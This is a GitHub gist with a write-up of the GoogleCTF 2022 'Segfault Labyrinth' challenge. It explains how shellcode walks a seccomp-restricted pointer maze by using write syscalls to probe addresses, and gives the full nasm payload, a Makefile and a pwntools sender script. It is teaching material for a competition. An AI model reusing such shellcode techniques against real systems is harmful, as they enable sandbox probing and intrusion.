Skip to content

Instantly share code, notes, and snippets.

@PAndaContron
Last active July 18, 2022 02:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save PAndaContron/fc57550bb84d317c5358b3386656fde0 to your computer and use it in GitHub Desktop.
Save PAndaContron/fc57550bb84d317c5358b3386656fde0 to your computer and use it in GitHub Desktop.
GoogleCTF 2022 Segfault Labyrinth Challenge Writeup

This challenge gives us a binary which is running on a remote server. Opening the binary in Ghidra, we can take a look at what it does. First, it creates the "labyrinth". The labyrinth is made up of memory pages which point to each other. The first ("entrance") page contains an array of 16 pointers; one of these pointers points to an actual page, while the others are invalid. The one actual page again has the same structure, which goes on for 10 layers, until the final page has the flag.

Next, the program installs a seccomp filter. This is a Linux feature which allows a program to filter what system calls can be made by its process later on. Seccomp filters use the Berkley Packet Filter (BPF) language. We can extract the code for the filter and use a tool like this to see what it does. The filter used by this program is essentially a simple whitelist that allows the following system calls:

0: read
1: write
4: stat
5: fstat
9: mmap
11: munmap
15: rt_sigreturn
60: exit
231: exit_group

Finally, it reads machine code from standard input and executes it, passing the pointer to the "entrance" page in rdi. All other registers are set to 0 (even the stack pointer) so that we can't get any other information. Essentially, to solve this challenge, we need to write code to figure out which pages are valid without triggering a segfault, since we can't add a signal handler to recover from it. We can't guess, since guessing right 10 times in a row would be practically impossible.

It turns out we can use system calls like write to check if an address is valid without triggering a segfault. This is because if we pass write an invalid address, it just returns an error (EFAULT) instead of crashing the program. All we need to do to check an address is try to write 1 byte from that address to stdout and check the return value. This gives us the following assembly, using nasm with Intel syntax:

BITS 64
    ; We use bl as our loop counter,
    ; since it's not used for or clobbered by syscalls
    mov bl, 10
    ; Since rsp was zero'd, we might as well use it for this
    ; We can treat the array of 16 pointers as a "stack"
    ; This saves us a couple instructions
    mov rsp, rdi
    ; The parameters for system calls are preserved,
    ; so we can set the ones that don't change outside the loop
    ; File descriptor for write (stdout)
    mov edi, 1
    ; Count for write
    mov edx, 1
loop:
    ; Pop an address from the list into the buffer parameter for write
    pop rsi
    ; Set rax to 1 for a write system call
    ; This needs to be done every time since
    ; rax is overwritten with the return value
    mov eax, 1
    syscall
    ; If the return value is less than 0,
    ; we had an error, so this address is not valid
    ; Technically we should check if it's equal to -EFAULT,
    ; but this is good enough
    cmp rax, 0
    jl loop
    ; Otherwise, this address is valid,
    ; so we can move to the next page by putting it in rsp
    mov rsp, rsi
    ; Decrement our loop counter and go again if it's not zero
    dec bl
    jnz loop
    ; Finally, once we're done we should have a pointer to the flag string
    ; We write out 128 chars from the pointer just to be sure we get it
    mov edx, 128
    mov eax, 1
    syscall
    ; Exit cleanly, just to be nice
    mov edi, 0
    mov eax, 60
    syscall

We can assemble with nasm -fbin to get a flat binary (just machine code). Then, we just have to send that machine code to the challenge server to get the flag. The attached file sol.py accomplishes this, with the given Makefile and payload.asm in the same directory.

all: payload.bin
payload.bin: payload.asm
nasm -fbin $< -o $@
clean:
rm payload.bin
.PHONY: all clean
BITS 64
; We use bl as our loop counter,
; since it's not used for or clobbered by syscalls
mov bl, 10
; Since rsp was zero'd, we might as well use it for this
; We can treat the array of 16 pointers as a "stack"
; This saves us a couple instructions
mov rsp, rdi
; The parameters for system calls are preserved,
; so we can set the ones that don't change outside the loop
; File descriptor for write (stdout)
mov edi, 1
; Count for write
mov edx, 1
loop:
; Pop an address from the list into the buffer parameter for write
pop rsi
; Set rax to 1 for a write system call
; This needs to be done every time since
; rax is overwritten with the return value
mov eax, 1
syscall
; If the return value is less than 0,
; we had an error, so this address is not valid
; Technically we should check if it's equal to -EFAULT,
; but this is good enough
cmp rax, 0
jl loop
; Otherwise, this address is valid,
; so we can move to the next page by putting it in rsp
mov rsp, rsi
; Decrement our loop counter and go again if it's not zero
dec bl
jnz loop
; Finally, once we're done we should have a pointer to the flag string
; We write out 128 chars from the pointer just to be sure we get it
mov edx, 128
mov eax, 1
syscall
; Exit cleanly, just to be nice
mov edi, 0
mov eax, 60
syscall
#!/usr/bin/env python3
from pwn import *
from os import system
from struct import pack, unpack
ret = system('make')
if ret: exit(ret)
with open('payload.bin', 'rb') as f: payload = f.read()
payload = pack('<Q', len(payload)) + payload
chal = remote('segfault-labyrinth.2022.ctfcompetition.com', 1337)
chal.send(payload)
print(chal.recvall())
chal.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment